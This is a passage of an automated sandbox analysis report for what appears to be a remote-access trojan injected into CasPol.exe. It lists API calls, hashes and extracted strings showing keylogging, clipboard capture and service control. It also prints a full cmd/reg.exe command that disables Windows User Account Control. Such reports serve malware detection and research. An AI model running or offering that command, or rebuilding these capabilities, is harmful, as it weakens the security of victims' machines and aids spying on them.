                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E1D
                                                                                                                                                                  • ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00419507), ref: 00419E52
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E64
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,00000000,?,?,00419507,00000000,00000000), ref: 00419E67
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ChangeConfigManager
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 493672254-0
                                                                                                                                                                  • Opcode ID: 02b88ba3e7911ce8c5ead6755d78df319317ed7b9ebc03ba342fc4c032229c57
                                                                                                                                                                  • Instruction ID: c28812c6d5a3476d8c1fe7dae916194da5da8b168be8dbaba893861dad7fc5da
                                                                                                                                                                  • Opcode Fuzzy Hash: 02b88ba3e7911ce8c5ead6755d78df319317ed7b9ebc03ba342fc4c032229c57
                                                                                                                                                                  • Instruction Fuzzy Hash: 3301F5311483147AD7119B39EC5EEBF3AACDB42B71F10022BF526D62D1DA68DE8181A9
                                                                                                                                                                  Function 00437E06 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLastError.KERNEL32(?,?,00437DFD,004377B1), ref: 00437E14
                                                                                                                                                                  • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00437E22
                                                                                                                                                                  • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00437E3B
                                                                                                                                                                  • SetLastError.KERNEL32(00000000,?,00437DFD,004377B1), ref: 00437E8D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLastValue___vcrt_
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3852720340-0
                                                                                                                                                                  • Opcode ID: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                                                                                                                                  • Instruction ID: be779a20f6972cc68ff7cd304671387be2c97454b743a33de387a584dbd8fa65
                                                                                                                                                                  • Opcode Fuzzy Hash: 8677577c8e37d81537f7299acd8b5f5a9cc683e2404a7ed47504fd76d00458cf
                                                                                                                                                                  • Instruction Fuzzy Hash: 2A01D8B222D315ADEB3427757C87A172699EB09779F2013BFF228851E1EF294C41914C
                                                                                                                                                                  Function 00446EBF Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLastError.KERNEL32(?,?,0043931C,?,?,?,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B), ref: 00446EC3
                                                                                                                                                                  • _free.LIBCMT ref: 00446EF6
                                                                                                                                                                  • _free.LIBCMT ref: 00446F1E
                                                                                                                                                                  • SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F2B
                                                                                                                                                                  • SetLastError.KERNEL32(00000000,0043E4CD,?,?,?,?,00000000,?,?,0042CE53,0000003B,?,00000041,00000000,00000000), ref: 00446F37
                                                                                                                                                                  • _abort.LIBCMT ref: 00446F3D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ErrorLast$_free$_abort
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3160817290-0
                                                                                                                                                                  • Opcode ID: ee081b98001fac20135d606adf3ebd9ed25e83f06873042332f69cc5cc1fb8f1
                                                                                                                                                                  • Instruction ID: 3d2b287d931d31d162837175e2379b90ae0e47a7897f975c134f35b9cb22fcab
                                                                                                                                                                  • Opcode Fuzzy Hash: ee081b98001fac20135d606adf3ebd9ed25e83f06873042332f69cc5cc1fb8f1
                                                                                                                                                                  • Instruction Fuzzy Hash: 2AF0F93560870177F6226339BD45A6F16559BC37A6F36003FF414A2293EE2D8C46451F
                                                                                                                                                                  Function 00419C20 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C2F
                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C43
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C50
                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C5F
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C71
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041979B,00000000,00000000), ref: 00419C74
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                  • Opcode ID: b7b71ddbdcb9800aa748b97a69a48af82292e20b181655901ef109c96cd029b9
                                                                                                                                                                  • Instruction ID: e05d85410d15b39c35b215a1997cf582e970b4d0c8f2e3caff6268b58306b2a8
                                                                                                                                                                  • Opcode Fuzzy Hash: b7b71ddbdcb9800aa748b97a69a48af82292e20b181655901ef109c96cd029b9
                                                                                                                                                                  • Instruction Fuzzy Hash: F2F0F6325003147BD3116B25EC89EFF3BACDB45BA1F000036F902921D2DB68CD4685F5
                                                                                                                                                                  Function 00419D22 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D31
                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D45
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D52
                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000002,?,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D61
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D73
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419719,00000000,00000000), ref: 00419D76
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                  • Opcode ID: e9ecc3ae41f79f47d3bdca3e192fe5417343a180787152718365ee8199a3ebfc
                                                                                                                                                                  • Instruction ID: 9e91e616c68215657d038be5823d6e3897a30bcf6e0764f9fcdf2292ad9a2404
                                                                                                                                                                  • Opcode Fuzzy Hash: e9ecc3ae41f79f47d3bdca3e192fe5417343a180787152718365ee8199a3ebfc
                                                                                                                                                                  • Instruction Fuzzy Hash: C5F062725003146BD2116B65EC89EBF3BACDB45BA5B00003AFA06A21D2DB68DD4696F9
                                                                                                                                                                  Function 00419D87 Relevance: 9.0, APIs: 6, Instructions: 44serviceCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • OpenSCManagerW.ADVAPI32(00000000,00000000,00000040,00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419D96
                                                                                                                                                                  • OpenServiceW.ADVAPI32(00000000,00000000,00000040,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DAA
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DB7
                                                                                                                                                                  • ControlService.ADVAPI32(00000000,00000003,?,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DC6
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DD8
                                                                                                                                                                  • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,00419697,00000000,00000000), ref: 00419DDB
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Service$CloseHandle$Open$ControlManager
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 221034970-0
                                                                                                                                                                  • Opcode ID: 578fdff71443f11c3fca357d736e88dc82f16117349863ef7b695c473245d396
                                                                                                                                                                  • Instruction ID: abda6543b9bae7672c93be1b0f3a8a56711a85df89096aceaf06b6c73a90a6e4
                                                                                                                                                                  • Opcode Fuzzy Hash: 578fdff71443f11c3fca357d736e88dc82f16117349863ef7b695c473245d396
                                                                                                                                                                  • Instruction Fuzzy Hash: C2F0C2325002146BD2116B24FC49EBF3AACDB45BA1B04003AFA06A21D2DB28CE4685F8
                                                                                                                                                                  Function 004129AA Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 173registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegQueryInfoKeyW.ADVAPI32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 00412A1D
                                                                                                                                                                  • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00412A4C
                                                                                                                                                                  • RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,?,?,00002710), ref: 00412AED
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Enum$InfoQueryValue
                                                                                                                                                                  • String ID: [regsplt]$DG
                                                                                                                                                                  • API String ID: 3554306468-1089238109
                                                                                                                                                                  • Opcode ID: 420c64221c8be20a0884beaa9dc5826c3a8ed3ed3fba4086070cd80455fd0dc1
                                                                                                                                                                  • Instruction ID: 09469598a034e88a10af8fecb22bb8a395a4bc85e225d04bcc93034602455e52
                                                                                                                                                                  • Opcode Fuzzy Hash: 420c64221c8be20a0884beaa9dc5826c3a8ed3ed3fba4086070cd80455fd0dc1
                                                                                                                                                                  • Instruction Fuzzy Hash: D8512E72108345AFD310EB61D995DEFB7ECEF84744F00493EB585D2191EB74EA088B6A
                                                                                                                                                                  Function 0040AE58 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 87COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00433519: EnterCriticalSection.KERNEL32(00470D18,00475B70,00475BF0,?,0040179E,00475BF0), ref: 00433524
                                                                                                                                                                    • Part of subcall function 00433519: LeaveCriticalSection.KERNEL32(00470D18,?,0040179E,00475BF0), ref: 00433561
                                                                                                                                                                    • Part of subcall function 004338A5: __onexit.LIBCMT ref: 004338AB
                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 0040AEA7
                                                                                                                                                                    • Part of subcall function 004334CF: EnterCriticalSection.KERNEL32(00470D18,00475BF0,?,004017C1,00475BF0,00000000), ref: 004334D9
                                                                                                                                                                    • Part of subcall function 004334CF: LeaveCriticalSection.KERNEL32(00470D18,?,004017C1,00475BF0,00000000), ref: 0043350C
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit
                                                                                                                                                                  • String ID: [End of clipboard]$[Text copied to clipboard]$,]G$0]G
                                                                                                                                                                  • API String ID: 2974294136-753205382
                                                                                                                                                                  • Opcode ID: de3fba35412e8d9275b285bd9e157dc8c129506901d01536abad46e7e0bd6fc8
                                                                                                                                                                  • Instruction ID: 172b4b58ae75f988d3b3a293bba3f35c56e57800f0e036023c2a0486d145437f
                                                                                                                                                                  • Opcode Fuzzy Hash: de3fba35412e8d9275b285bd9e157dc8c129506901d01536abad46e7e0bd6fc8
                                                                                                                                                                  • Instruction Fuzzy Hash: 44219F31A002099ACB14FB75D8929EE7774AF54318F50403FF406771E2EF386E4A8A8D
                                                                                                                                                                  Function 0040A876 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 67timeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLocalTime.KERNEL32(?,Offline Keylogger Started,004740F8), ref: 0040A884
                                                                                                                                                                  • wsprintfW.USER32 ref: 0040A905
                                                                                                                                                                    • Part of subcall function 00409D58: SetEvent.KERNEL32(?,?,00000000,0040A91C,00000000), ref: 00409D84
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: EventLocalTimewsprintf
                                                                                                                                                                  • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                                                                                                                                                                  • API String ID: 1497725170-248792730
                                                                                                                                                                  • Opcode ID: d0a762379af5fb0e207909ff998a5ffb5b5a0fca7ae3eecf9d37432640f3a21d
                                                                                                                                                                  • Instruction ID: 8a7b6ca92c081f7f17d03b5bac770d689c192d548357e869dbc211d44db93d1d
                                                                                                                                                                  • Opcode Fuzzy Hash: d0a762379af5fb0e207909ff998a5ffb5b5a0fca7ae3eecf9d37432640f3a21d
                                                                                                                                                                  • Instruction Fuzzy Hash: BB118172400118AACB18BB56EC55CFE77BCAE48325F00013FF842620D1EF7C5A86C6E9
                                                                                                                                                                  Function 00442D51 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID: 0OM
                                                                                                                                                                  • API String ID: 0-2762363493
                                                                                                                                                                  • Opcode ID: 48cf3eaabf7ece0113a3c008fb104be432a4ec3be30a454fc0a72fbc2683693e
                                                                                                                                                                  • Instruction ID: e6f180ecc181abb5a77ec057abe27f8575e00a75e8bcf6cd4df5c03139e47140
                                                                                                                                                                  • Opcode Fuzzy Hash: 48cf3eaabf7ece0113a3c008fb104be432a4ec3be30a454fc0a72fbc2683693e
                                                                                                                                                                  • Instruction Fuzzy Hash: E10121F2A092163EB62016797DD0DA7260DDF823B8374033BF421722D2EAA88C004068
                                                                                                                                                                  Function 00409D97 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00409DCD
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                                                                                                                                  • Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00409E10
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseCreateHandleSizeSleep
                                                                                                                                                                  • String ID: `AG
                                                                                                                                                                  • API String ID: 1958988193-3058481221
                                                                                                                                                                  • Opcode ID: d7248f5b3272c1b8e158f3ed59b8642bc51f6090f2ebac6ec2a2f06e31ed32df
                                                                                                                                                                  • Instruction ID: 61dc848fc85204ea7fc5a67171cad01df1347b3512dd41eabc6ad436608203b4
                                                                                                                                                                  • Opcode Fuzzy Hash: d7248f5b3272c1b8e158f3ed59b8642bc51f6090f2ebac6ec2a2f06e31ed32df
                                                                                                                                                                  • Instruction Fuzzy Hash: 3A11C4303407406AE731E764E88962B7A9AAB91311F44057EF18562AE3D7389CD1829D
                                                                                                                                                                  Function 0041CA1F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ClassCreateErrorLastRegisterWindow
                                                                                                                                                                  • String ID: 0$MsgWindowClass
                                                                                                                                                                  • API String ID: 2877667751-2410386613
                                                                                                                                                                  • Opcode ID: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                                                                                                                                  • Instruction ID: bff961279ea7560c1ff94ea7b7e8445e3758215821d07408c43b005d8adda241
                                                                                                                                                                  • Opcode Fuzzy Hash: 8e3fabf9294f4d788ff0190a2140b1e52dfb9086da58b750c2f99102573e0e65
                                                                                                                                                                  • Instruction Fuzzy Hash: 2D01E9B1D1431EAB8B01DFE9DCC4AEFBBBDBE49255B50452AE410B2200E7704A448BA5
                                                                                                                                                                  Function 004069BA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42processCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 00406A00
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00406A0F
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00406A14
                                                                                                                                                                  Strings
                                                                                                                                                                  • /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f, xrefs: 004069F6
                                                                                                                                                                  • C:\Windows\System32\cmd.exe, xrefs: 004069FB
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseHandle$CreateProcess
                                                                                                                                                                  • String ID: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f$C:\Windows\System32\cmd.exe
                                                                                                                                                                  • API String ID: 2922976086-4183131282
                                                                                                                                                                  • Opcode ID: eb4121427644dbe92f0faf5bfcaaefbe4213ddeedd11a12955cf8af7f240737c
                                                                                                                                                                  • Instruction ID: 91eee74bc7ca160cae255ad37e89f65ee2415c19472677646c1a5aeb81073604
                                                                                                                                                                  • Opcode Fuzzy Hash: eb4121427644dbe92f0faf5bfcaaefbe4213ddeedd11a12955cf8af7f240737c
                                                                                                                                                                  • Instruction Fuzzy Hash: 8AF030B69002A9BACB30ABD69C0EFDF7F7DEBC6B11F00042AB615A6051D6745144CAB9
                                                                                                                                                                  Function 004425D9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0044258A,?,?,0044252A,?), ref: 004425F9
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,0044258A,?,?,0044252A,?), ref: 0044260C
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,?,0044258A,?,?,0044252A,?), ref: 0044262F
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressFreeHandleLibraryModuleProc
                                                                                                                                                                  • String ID: CorExitProcess$mscoree.dll
                                                                                                                                                                  • API String ID: 4061214504-1276376045
                                                                                                                                                                  • Opcode ID: 84f8467b83475f4999ab7b265d6d7c22c059d91a263d45f4d19e228ed4a2ac86
                                                                                                                                                                  • Instruction ID: 32bca75c9846dbfd0145c2b425e1dcbc158e0b1ec8d75d3d798e8c7ef3c4518a
                                                                                                                                                                  • Opcode Fuzzy Hash: 84f8467b83475f4999ab7b265d6d7c22c059d91a263d45f4d19e228ed4a2ac86
                                                                                                                                                                  • Instruction Fuzzy Hash: 14F04430904209FBDB169FA5ED09B9EBFB5EB08756F4140B9F805A2251DF749D40CA9C
                                                                                                                                                                  Function 00404AB1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35synchronizationCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00475B70,0040483F,00000001,?,?,00000000,00475B70,004017F3), ref: 00404AED
                                                                                                                                                                  • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404AF9
                                                                                                                                                                  • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00475B70,004017F3), ref: 00404B04
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00404B0D
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Event$CloseCreateHandleLocalObjectSingleTimeWait
                                                                                                                                                                  • String ID: KeepAlive | Disabled
                                                                                                                                                                  • API String ID: 2993684571-305739064
                                                                                                                                                                  • Opcode ID: 68b50adcbc3edbb9d4c8525224eb9d153fc5f31cab3a74662374d300908f4771
                                                                                                                                                                  • Instruction ID: d6da77504ed7f85403cc54e6f32b3900d2337039667ff8d97479a9328fe4a552
                                                                                                                                                                  • Opcode Fuzzy Hash: 68b50adcbc3edbb9d4c8525224eb9d153fc5f31cab3a74662374d300908f4771
                                                                                                                                                                  • Instruction Fuzzy Hash: F8F0BBB19043007FDB1137759D0E66B7F58AB46325F00457FF892926F1DA38D890875B
                                                                                                                                                                  Function 00419F32 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30sleepCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                                                                                                                                  • GetModuleHandleA.KERNEL32(00000000,00020009), ref: 00419F64
                                                                                                                                                                  • PlaySoundW.WINMM(00000000,00000000), ref: 00419F72
                                                                                                                                                                  • Sleep.KERNEL32(00002710), ref: 00419F79
                                                                                                                                                                  • PlaySoundW.WINMM(00000000,00000000,00000000), ref: 00419F82
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001D.00000002.552749927.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_29_2_400000_CasPol.jbxd
                                                                                                                                                                  Yara matches
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PlaySound$HandleLocalModuleSleepTime
                                                                                                                                                                  • String ID: Alarm triggered
                                                                                                                                                                  • API String ID: 614609389-2816303416
                                                                                                                                                                  • Opcode ID: 141847ae0a337ee7d375b115724b17f178aaf380715d2b927a7afb315ef2a384
                                                                                                                                                                  • Instruction ID: 0fe531f7edf44dbbc4d7c544cb5d4c76277d8d7fe89cd9bd4aa838a143c441bc
                                                                                                                                                                  • Opcode Fuzzy Hash: 141847ae0a337ee7d375b115724b17f178aaf380715d2b927a7afb315ef2a384
                                                                                                                                                                  • Instruction Fuzzy Hash: 50E09A22A0422033862033BA7C0FC6F3E28DAC6B75B4100BFF905A21A2AE54081086FB
                                                                                                                                                                  Function 0041BE6F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetStdHandle.KERNEL32(000000F5,00000000,?,?,?,?,?,?,0041BF02), ref: 0041BE79
                                                                                                                                                                  • GetConsoleScreenBufferInfo.KERNEL32 ref: 0041BE86
                                                                                                                                                                  • SetConsoleTextAttribute.KERNEL32(00000000,0000000C), ref: 0041BE93
                                                                                                                                                                  • SetConsoleTextAttribute.KERNEL32(00000000,?), ref: 0041BEA6
                                                                                                                                                                  Strings
                                                                                                                                                                  • ______ (_____ \ _____) )_____ ____ ____ ___ ___ | __ /| ___ | \ / ___) _ \ /___)| | \ \| ____| | | ( (__| |_| |___ ||_| |_|_____)_|_|_|\____)___/(___/ , xrefs: 0041BE99
